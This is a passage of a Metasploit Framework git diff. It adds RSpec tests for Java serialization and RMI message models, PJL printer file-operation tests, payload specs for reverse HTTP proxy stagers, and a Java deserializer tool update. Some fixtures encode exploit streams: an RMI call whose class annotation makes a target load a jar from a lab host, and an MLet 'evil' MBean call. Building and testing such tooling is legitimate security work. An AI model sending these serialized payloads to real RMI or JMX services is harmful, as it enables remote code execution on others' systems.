"\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" + + "\x00\x00\x70\x78\x70\x74\x00\x1d\x4d\x4c\x65\x74\x43\x6f\x6d\x70" + + "\x72\x6f\x6d\x69\x73\x65\x3a\x6e\x61\x6d\x65\x3d\x65\x76\x69\x6c" + + "\x2c\x69\x64\x3d\x31\x78\x70" + end + + let(:marshalled_argument) do + "\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c" + + "\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10" + + "\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00\x1f\x68" + + "\x74\x74\x70\x3a\x2f\x2f\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38" + + "\x2e\x31\x33\x32\x3a\x34\x31\x34\x31\x2f\x6d\x6c\x65\x74" + end + describe ".new" do it "Rex::Java::Serialization::Model::Stream" do expect(stream).to be_a(Rex::Java::Serialization::Model::Stream) @@ -259,6 +293,136 @@ expect(stream.encode.unpack("C*")).to eq(complex_stream.unpack("C*")) end end + + context "when serializing a Java RMI call" do + it "serializes the stream correctly" do + block_data = Rex::Java::Serialization::Model::BlockData.new + block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43" + block_data.length = block_data.contents.length + + stream.contents << block_data + + new_array_annotation = Rex::Java::Serialization::Model::Annotation.new + new_array_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new + ] + + new_array_super = Rex::Java::Serialization::Model::ClassDesc.new + new_array_super.description = Rex::Java::Serialization::Model::NullReference.new + + new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;') + new_array_desc.serial_version = 0x871300b8d02c647e + new_array_desc.flags = 2 + new_array_desc.fields = [] + new_array_desc.class_annotation = new_array_annotation + new_array_desc.super_class = new_array_super + + array_desc = Rex::Java::Serialization::Model::ClassDesc.new + array_desc.description = new_array_desc + + new_array = Rex::Java::Serialization::Model::NewArray.new + new_array.type = 'java.rmi.server.ObjID;' + new_array.values = [] + new_array.array_description = array_desc + + stream.contents << new_array + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") + + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader') + new_class_desc.serial_version = 0xa16544ba26f9c2f4 + new_class_desc.flags = 2 + new_class_desc.fields = [] + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::Utf.new(nil, 'http://172.16.158.1:8080/5qOE7YRvC2Sb/eIdEDp.jar'), + Rex::Java::Serialization::Model::EndBlockData.new + ] + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_object = Rex::Java::Serialization::Model::NewObject.new + new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new + new_object.class_desc.description = new_class_desc + new_object.class_data = [] + + stream.contents << new_object + + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") + + expect(stream.encode).to eq(rmi_call) + end + end + + context "when serializing a MBeanServerConnection.getObjectInstance call data" do + it "serializes the stream correctly" do + block_data = Rex::Java::Serialization::Model::BlockData.new + block_data.contents = "\x7b\xb5\x91\x73\x69\x12\x77\xcb\x4a\x7d\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x03" + block_data.contents << "\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2" + block_data.length = block_data.contents.length + + stream.contents << block_data + + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'javax.management.ObjectName') + new_class_desc.serial_version = 0xf03a71beb6d15cf + new_class_desc.flags = 3 + new_class_desc.fields = [] + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new + ] + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_object = Rex::Java::Serialization::Model::NewObject.new + new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new + new_object.class_desc.description = new_class_desc + new_object.class_data = [] + + stream.contents << new_object + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'MLetCompromise:name=evil,id=1') + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::NullReference.new + + expect(stream.encode).to eq(mbean_call) + + end + end + + context "when serializing a marshalled argument" do + it "serializes the stream correctly" do + stream = Rex::Java::Serialization::Model::Stream.new + + new_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.Object;') + new_array_class_desc.serial_version = 0x90ce589f1073296c + new_array_class_desc.flags = 2 + new_array_class_desc.fields = [] + new_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_array_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::EndBlockData.new + ] + new_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_array = Rex::Java::Serialization::Model::NewArray.new + new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new + new_array.array_description.description = new_array_class_desc + new_array.type = 'java.lang.Object;' + new_array.values = [ + Rex::Java::Serialization::Model::Utf.new(nil, 'http://172.16.158.132:4141/mlet') + ] + + stream.contents << new_array + + expect(stream.encode).to eq(marshalled_argument) + end + end + end end \ No newline at end of file diff --git a/spec/lib/rex/proto/pjl/client_spec.rb b/spec/lib/rex/proto/pjl/client_spec.rb index 141d6b5dcac0..1ab8d8875087 100644 --- a/spec/lib/rex/proto/pjl/client_spec.rb +++ b/spec/lib/rex/proto/pjl/client_spec.rb @@ -96,8 +96,23 @@ end end + context "#fsquery" do + it "should raise an exception due to an invalid path" do + expect { cli.fsquery("BAD") }.to raise_error(ArgumentError) + end + + it "should query a file" do + response = "TYPE=FILE SIZE=1337\r\n\f" + tmp_sock = double("sock") + tmp_sock.stub(:put).with(an_instance_of(String)) + tmp_sock.stub(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) + tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock) + tmp_cli.fsquery("1:").should eq(true) + end + end + context "#fsdirlist" do - it "should reaise an exception due to an invaid path name" do + it "should reaise an exception due to an invalid path" do expect { cli.fsdirlist("BAD") }.to raise_error(ArgumentError) end @@ -112,7 +127,7 @@ end context "#fsupload" do - it "should raise an exception due to an invalid path name" do + it "should raise an exception due to an invalid path" do expect { cli.fsupload("BAD") }.to raise_error(ArgumentError) end @@ -125,5 +140,35 @@ tmp_cli.fsupload("1:").should eq('FILE') end end + + context "#fsdownload" do + it "should raise an exception due to an invalid path" do + expect { cli.fsdownload("/dev/null", "BAD") }.to raise_error(ArgumentError) + end + + it "should upload a file" do + response = "TYPE=FILE SIZE=1337\r\n\f" + tmp_sock = double("sock") + tmp_sock.stub(:put).with(an_instance_of(String)) + tmp_sock.stub(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) + tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock) + tmp_cli.fsdownload("/dev/null", "1:").should eq(true) + end + end + + context "#fsdelete" do + it "should raise an exception due to an invalid path" do + expect { cli.fsdelete("BAD") }.to raise_error(ArgumentError) + end + + it "should delete a file" do + response = "FILEERROR=3\r\n\f" + tmp_sock = double("sock") + tmp_sock.stub(:put).with(an_instance_of(String)) + tmp_sock.stub(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response) + tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock) + tmp_cli.fsdelete("1:").should eq(true) + end + end end end diff --git a/spec/lib/rex/proto/rmi/model/call_spec.rb b/spec/lib/rex/proto/rmi/model/call_spec.rb new file mode 100644 index 000000000000..7199140549df --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/call_spec.rb @@ -0,0 +1,70 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' +require 'rex/java' + +describe Rex::Proto::Rmi::Model::Call do + + subject(:call) do + described_class.new + end + + let(:call_message) do + "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x01\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a" + + "\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f" + + "\x62\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00" + + "\x70\x78\x70\x00\x00\x00\x01\x73\x72\x00\x15\x6a\x61\x76\x61\x2e" + + "\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62\x6a\x49\x44" + + "\xa7\x5e\xfa\x12\x8d\xdc\xe5\x5c\x02\x00\x02\x4a\x00\x06\x6f\x62" + + "\x6a\x4e\x75\x6d\x4c\x00\x05\x73\x70\x61\x63\x65\x74\x00\x15\x4c" + + "\x6a\x61\x76\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f" + + "\x55\x49\x44\x3b\x70\x78\x70\xbf\x26\x22\xcc\x85\x10\xe0\xf0\x73" + + "\x72\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76" + + "\x65\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf\x36\x4f\x12\x02\x00" + + "\x03\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00\x04\x74\x69\x6d\x65" + + "\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78\x70\x80\x01\x00\x00" + + "\x01\x49\xb5\xe4\x92\x78\xd2\x4f\xdf\x47\x77\x08\x80\x00\x00\x00" + + "\x00\x00\x00\x00\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72\x6d\x69" + + "\x2e\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66\x0c\x4a" + + "\xdc\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c\x00\x04" + + "\x76\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72\x6d\x69" + + "\x2f\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00\x00\x00" + + "\x00\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x72\x6d" + + "\x69\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf\xa4\xa5" + + "\x6d\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00\x02\x5b" + + "\x42\x4c\x00\x03\x75\x69\x64\x71\x00\x7e\x00\x03\x70\x78\x70\x75" + + "\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08\x54\xe0\x02\x00\x00" + + "\x70\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72\x60\x1c\xc7\x95\x73" + + "\x71\x00\x7e\x00\x05\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9" + + "\x62\xc1\xc0" + end + + let(:call_message_io) { StringIO.new(call_message) } + + describe "#decode" do + it "returns the Rex::Proto::Rmi::Model::Call decoded" do + expect(call.decode(call_message_io)).to eq(call) + end + + it "decodes message id correctly" do + call.decode(call_message_io) + expect(call.message_id).to eq(Rex::Proto::Rmi::Model::CALL_MESSAGE) + end + + it "decodes the call data correctly" do + call.decode(call_message_io) + expect(call.call_data).to be_a(Rex::Java::Serialization::Model::Stream) + end + end + + describe "#encode" do + it "re-encodes a Call message correctly" do + call.decode(call_message_io) + expect(call.encode).to eq(call_message) + end + end +end diff --git a/spec/lib/rex/proto/rmi/model/continuation_spec.rb b/spec/lib/rex/proto/rmi/model/continuation_spec.rb new file mode 100644 index 000000000000..dc3b1cefd2f1 --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/continuation_spec.rb @@ -0,0 +1,50 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' + +describe Rex::Proto::Rmi::Model::Continuation do + + subject(:continuation) do + described_class.new + end + + let(:sample) do + "\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32" + + "\x00\x00\x00\x00" + end + + let(:sample_io) { StringIO.new(sample) } + + describe "#decode" do + it "returns the Rex::Proto::Rmi::Model::Continuation decoded" do + expect(continuation.decode(sample_io)).to eq(continuation) + end + + it "decodes length correctly" do + continuation.decode(sample_io) + expect(continuation.length).to eq(14) + end + + it "decodes address correctly" do + continuation.decode(sample_io) + expect(continuation.address).to eq('172.16.158.132') + end + + it "decodes port correctly" do + continuation.decode(sample_io) + expect(continuation.port).to eq(0) + end + end + + describe "#encode" do + it "encodes the Continuation correctly" do + continuation.address = '172.16.158.132' + continuation.length = continuation.address.length + continuation.port = 0 + + expect(continuation.encode).to eq(sample) + end + end +end diff --git a/spec/lib/rex/proto/rmi/model/dgc_ack_spec.rb b/spec/lib/rex/proto/rmi/model/dgc_ack_spec.rb new file mode 100644 index 000000000000..45163f172e1d --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/dgc_ack_spec.rb @@ -0,0 +1,43 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' + +describe Rex::Proto::Rmi::Model::DgcAck do + + subject(:dgc_ack) do + described_class.new + end + + let(:sample) do + "\x54\xd2\x4f\xdf\x47\x00\x00\x01\x49\xb5\xe4\x92\x78\x80\x17" + end + + let(:sample_io) { StringIO.new(sample) } + + describe "#decode" do + it "returns the Rex::Proto::Rmi::Model::DgcAck decoded" do + expect(dgc_ack.decode(sample_io)).to eq(dgc_ack) + end + + it "decodes stream_id correctly" do + dgc_ack.decode(sample_io) + expect(dgc_ack.stream_id).to eq(Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE) + end + + it "decodes address correctly" do + dgc_ack.decode(sample_io) + expect(dgc_ack.unique_identifier).to eq("\xd2\x4f\xdf\x47\x00\x00\x01\x49\xb5\xe4\x92\x78\x80\x17") + end + end + + describe "#encode" do + it "encodes the DbgAck correctly" do + dgc_ack.stream_id = Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE + dgc_ack.unique_identifier = "\xd2\x4f\xdf\x47\x00\x00\x01\x49\xb5\xe4\x92\x78\x80\x17" + + expect(dgc_ack.encode).to eq(sample) + end + end +end diff --git a/spec/lib/rex/proto/rmi/model/output_header_spec.rb b/spec/lib/rex/proto/rmi/model/output_header_spec.rb new file mode 100644 index 000000000000..f130f5d9fb79 --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/output_header_spec.rb @@ -0,0 +1,62 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' + +describe Rex::Proto::Rmi::Model::OutputHeader do + + subject(:output_header) do + described_class.new + end + + let(:stream_protocol) do + "\x4a\x52\x4d\x49\x00\x02\x4b" + end + + let(:stream_protocol_io) { StringIO.new(stream_protocol) } + + describe "#decode" do + context "when Stream Protocol" do + it "returns the Rex::Proto::Rmi::Model::OutputHeader decoded" do + expect(output_header.decode(stream_protocol_io)).to eq(output_header) + end + + it "decodes signature correctly" do + output_header.decode(stream_protocol_io) + expect(output_header.signature).to eq(Rex::Proto::Rmi::Model::SIGNATURE) + end + + it "decodes version correctly" do + output_header.decode(stream_protocol_io) + expect(output_header.version).to eq(2) + end + + it "decodes protocol correctly" do + output_header.decode(stream_protocol_io) + expect(output_header.protocol).to eq(Rex::Proto::Rmi::Model::STREAM_PROTOCOL) + end + end + end + + describe "#encode" do + context "when Stream Protocol" do + it "encodes the OutputHeader correctly" do + output_header.signature = Rex::Proto::Rmi::Model::SIGNATURE + output_header.version = 2 + output_header.protocol = Rex::Proto::Rmi::Model::STREAM_PROTOCOL + + expect(output_header.encode).to eq(stream_protocol) + end + end + + context "when version field missed" do + it "doesn't encodes the version" do + output_header.signature = Rex::Proto::Rmi::Model::SIGNATURE + output_header.protocol = Rex::Proto::Rmi::Model::STREAM_PROTOCOL + + expect(output_header.encode).to eq("\x4a\x52\x4d\x49\x4b") + end + end + end +end diff --git a/spec/lib/rex/proto/rmi/model/ping_ack_spec.rb b/spec/lib/rex/proto/rmi/model/ping_ack_spec.rb new file mode 100644 index 000000000000..60223f039c64 --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/ping_ack_spec.rb @@ -0,0 +1,37 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' + +describe Rex::Proto::Rmi::Model::PingAck do + + subject(:ping_ack) do + described_class.new + end + + let(:sample) do + "\x53" + end + + let(:sample_io) { StringIO.new(sample) } + + describe "#decode" do + it "returns the Rex::Proto::Rmi::Model::PingAck decoded" do + expect(ping_ack.decode(sample_io)).to eq(ping_ack) + end + + it "decodes stream_id correctly" do + ping_ack.decode(sample_io) + expect(ping_ack.stream_id).to eq(Rex::Proto::Rmi::Model::PING_ACK) + end + end + + describe "#encode" do + it "encodes the PingAck correctly" do + ping_ack.stream_id = Rex::Proto::Rmi::Model::PING_ACK + expect(ping_ack.encode).to eq(sample) + end + end +end + diff --git a/spec/lib/rex/proto/rmi/model/ping_spec.rb b/spec/lib/rex/proto/rmi/model/ping_spec.rb new file mode 100644 index 000000000000..732bc61d78e1 --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/ping_spec.rb @@ -0,0 +1,36 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' + +describe Rex::Proto::Rmi::Model::Ping do + + subject(:ping) do + described_class.new + end + + let(:sample) do + "\x52" + end + + let(:sample_io) { StringIO.new(sample) } + + describe "#decode" do + it "returns the Rex::Proto::Rmi::Model::Ping decoded" do + expect(ping.decode(sample_io)).to eq(ping) + end + + it "decodes stream_id correctly" do + ping.decode(sample_io) + expect(ping.stream_id).to eq(Rex::Proto::Rmi::Model::PING_MESSAGE) + end + end + + describe "#encode" do + it "encodes the Ping correctly" do + ping.stream_id = Rex::Proto::Rmi::Model::PING_MESSAGE + expect(ping.encode).to eq(sample) + end + end +end diff --git a/spec/lib/rex/proto/rmi/model/protocol_ack_spec.rb b/spec/lib/rex/proto/rmi/model/protocol_ack_spec.rb new file mode 100644 index 000000000000..7451d0c4a3c8 --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/protocol_ack_spec.rb @@ -0,0 +1,56 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' + +describe Rex::Proto::Rmi::Model::ProtocolAck do + + subject(:protocol_ack) do + described_class.new + end + + let(:sample) do + "\x4e\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33" + + "\x32\x00\x00\x06\xea" + end + + let(:sample_io) { StringIO.new(sample) } + + describe "#decode" do + it "returns the Rex::Proto::Rmi::Model::ProtocolAck decoded" do + expect(protocol_ack.decode(sample_io)).to eq(protocol_ack) + end + + it "decodes stream_id correctly" do + protocol_ack.decode(sample_io) + expect(protocol_ack.stream_id).to eq(Rex::Proto::Rmi::Model::PROTOCOL_ACK) + end + + it "decodes length correctly" do + protocol_ack.decode(sample_io) + expect(protocol_ack.length).to eq(14) + end + + it "decodes address correctly" do + protocol_ack.decode(sample_io) + expect(protocol_ack.address).to eq('172.16.158.132') + end + + it "decodes port correctly" do + protocol_ack.decode(sample_io) + expect(protocol_ack.port).to eq(1770) + end + end + + describe "#encode" do + it "encodes the OutputHeader correctly" do + protocol_ack.stream_id = Rex::Proto::Rmi::Model::PROTOCOL_ACK + protocol_ack.address = '172.16.158.132' + protocol_ack.length = protocol_ack.address.length + protocol_ack.port = 1770 + + expect(protocol_ack.encode).to eq(sample) + end + end +end diff --git a/spec/lib/rex/proto/rmi/model/return_data_spec.rb b/spec/lib/rex/proto/rmi/model/return_data_spec.rb new file mode 100644 index 000000000000..4511f3d61896 --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/return_data_spec.rb @@ -0,0 +1,59 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' +require 'rex/java' + +describe Rex::Proto::Rmi::Model::ReturnData do + + subject(:return_data) do + described_class.new + end + + let(:return_stream) do + "\x51\xac\xed\x00\x05\x77\x0f\x01\xd2\x4f\xdf\x47\x00\x00\x01\x49" + + "\xb5\xe4\x92\x78\x80\x15\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72" + + "\x6d\x69\x2e\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66" + + "\x0c\x4a\xdc\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c" + + "\x00\x04\x76\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72" + + "\x6d\x69\x2f\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00" + + "\x00\x00\x00\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e" + + "\x72\x6d\x69\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf" + + "\xa4\xa5\x6d\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00" + + "\x02\x5b\x42\x4c\x00\x03\x75\x69\x64\x74\x00\x15\x4c\x6a\x61\x76" + + "\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f\x55\x49\x44" + + "\x3b\x70\x78\x70\x75\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08" + + "\x54\xe0\x02\x00\x00\x70\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72" + + "\x60\x1c\xc7\x95\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69" + + "\x2e\x73\x65\x72\x76\x65\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf" + + "\x36\x4f\x12\x02\x00\x03\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00" + + "\x04\x74\x69\x6d\x65\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78" + + "\x70\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62\xc1\xc0" + end + + let(:return_stream_io) { StringIO.new(return_stream) } + + describe "#decode" do + it "returns the Rex::Proto::Rmi::Model::ReturnData decoded" do + expect(return_data.decode(return_stream_io)).to eq(return_data) + end + + it "decodes message id correctly" do + return_data.decode(return_stream_io) + expect(return_data.stream_id).to eq(Rex::Proto::Rmi::Model::RETURN_DATA) + end + + it "decodes the return data correctly" do + return_data.decode(return_stream_io) + expect(return_data.return_value).to be_a(Rex::Java::Serialization::Model::Stream) + end + end + + describe "#encode" do + it "re-encodes a ReturnData stream correctly" do + return_data.decode(return_stream_io) + expect(return_data.encode).to eq(return_stream) + end + end +end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 7c995116aad7..a086eb2df8b9 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -2053,6 +2053,16 @@ reference_name: 'windows/dllinject/reverse_http' end + context 'windows/dllinject/reverse_http_proxy_pstore' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_http_proxy_pstore', + 'stages/windows/dllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/reverse_http_proxy_pstore' + end + context 'windows/dllinject/reverse_ipv6_tcp' do it_should_behave_like 'payload can be instantiated', ancestor_reference_names: [ @@ -2257,6 +2267,16 @@ reference_name: 'windows/meterpreter/reverse_http' end + context 'windows/meterpreter/reverse_http_proxy_pstore' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_http_proxy_pstore', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/reverse_http_proxy_pstore' + end + context 'windows/meterpreter/reverse_https' do it_should_behave_like 'payload can be instantiated', ancestor_reference_names: [ @@ -2705,6 +2725,16 @@ reference_name: 'windows/shell/reverse_http' end + context 'windows/shell/reverse_http_proxy_pstore' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_http_proxy_pstore', + 'stages/windows/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell/reverse_http_proxy_pstore' + end + context 'windows/shell/reverse_ipv6_tcp' do it_should_behave_like 'payload can be instantiated', ancestor_reference_names: [ @@ -2900,6 +2930,16 @@ reference_name: 'windows/upexec/reverse_http' end + context 'windows/upexec/reverse_http_proxy_pstore' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_http_proxy_pstore', + 'stages/windows/upexec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/reverse_http_proxy_pstore' + end + context 'windows/upexec/reverse_ipv6_tcp' do it_should_behave_like 'payload can be instantiated', ancestor_reference_names: [ @@ -3050,6 +3090,16 @@ reference_name: 'windows/vncinject/reverse_http' end + context 'windows/vncinject/reverse_http_proxy_pstore' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_http_proxy_pstore', + 'stages/windows/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/reverse_http_proxy_pstore' + end + context 'windows/vncinject/reverse_ipv6_tcp' do it_should_behave_like 'payload can be instantiated', ancestor_reference_names: [ diff --git a/spec/support/shared/examples/metasploit/framework/login_scanner/http.rb b/spec/support/shared/examples/metasploit/framework/login_scanner/http.rb index c1ad92c42f18..798cbcbcf831 100644 --- a/spec/support/shared/examples/metasploit/framework/login_scanner/http.rb +++ b/spec/support/shared/examples/metasploit/framework/login_scanner/http.rb @@ -40,7 +40,7 @@ context "without ssl, with non-default port" do subject(:http_scanner) { described_class.new(port:0) } it "should not set ssl" do - expect(http_scanner.ssl).to be_nil + expect(http_scanner.ssl).to be_falsey expect(http_scanner.port).to eq(0) end end diff --git a/spec/tools/java_deserializer_spec.rb b/spec/tools/java_deserializer_spec.rb index 26fc141bee96..ada6d79415f5 100644 --- a/spec/tools/java_deserializer_spec.rb +++ b/spec/tools/java_deserializer_spec.rb @@ -47,14 +47,32 @@ end context "when file contains a valid stream" do - it "prints the stream contents" do - expect(File).to receive(:new) do - contents = valid_stream - StringIO.new(contents) + before(:each) do + $stdout.string = '' + end + + context "when no options" do + it "prints the stream contents" do + expect(File).to receive(:new) do + contents = valid_stream + StringIO.new(contents) + end + deserializer.file = 'sample' + deserializer.run + expect($stdout.string).to include('[7e0001] NewArray { char, ["97", "98"] }') + end + end + + context "when :array in options" do + it "prints the array contents" do + expect(File).to receive(:new) do + contents = valid_stream + StringIO.new(contents) + end + deserializer.file = 'sample' + deserializer.run({:array => '0'}) + expect($stdout.string).to include('Array Type: char') end - deserializer.file = 'sample' - deserializer.run - expect($stdout.string).to include('[7e0001] NewArray { char, ["97", "98"] }') end end @@ -69,6 +87,5 @@ expect($stdout.string).to include('[-] Failed to unserialize Stream') end end - end end \ No newline at end of file diff --git a/tools/java_deserializer.rb b/tools/java_deserializer.rb index b78d2a3cf345..3c4ffb69dced 100755 --- a/tools/java_deserializer.rb +++ b/tools/java_deserializer.rb @@ -13,6 +13,7 @@ $:.unshift(File.expand_path(File.join(File.dirname(msf_base), '..', 'lib'))) require 'rex/java/serialization' require 'pp' +require 'optparse' # This class allows to deserialize Java Streams from # files @@ -31,7 +32,7 @@ def initialize(file = nil) # # @return [Rex::Java::Serialization::Model::Stream] if succeeds # @return [nil] if error - def run + def run(options = {}) if file.nil? print_error("file path with serialized java stream required") return @@ -49,7 +50,13 @@ def run return end - puts stream + if options[:array] + print_array(stream.contents[options[:array].to_i]) + elsif options[:object] + print_object(stream.contents[options[:object].to_i]) + else + puts stream + end end private @@ -75,9 +82,87 @@ def print_exception(e) def print_line $stdout.puts("\n") end + + # @param [Rex::Java::Serialization::Model::NewObject] obj the object to print + # @param [Fixnum] level the indentation level when printing super classes + def print_object(obj, level = 0) + prefix = " " * level + if obj.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc + puts "#{prefix}Object Class Description:" + print_class(obj.class_desc.description, level + 1) + else + puts "#{prefix}Object Class Description: #{obj.class_desc.description}" + end + puts "#{prefix}Object Data: #{obj.class_data}" + end + + # @param [Rex::Java::Serialization::Model::NewClassDesc] c the class to print + # @param [Fixnum] level the indentation level when printing super classes + def print_class(c, level = 0) + prefix = " " * level + puts "#{prefix}Class Name: #{c.class_name}" + puts "#{prefix}Serial Version: #{c.serial_version}" + puts "#{prefix}Flags: #{c.flags}" + puts 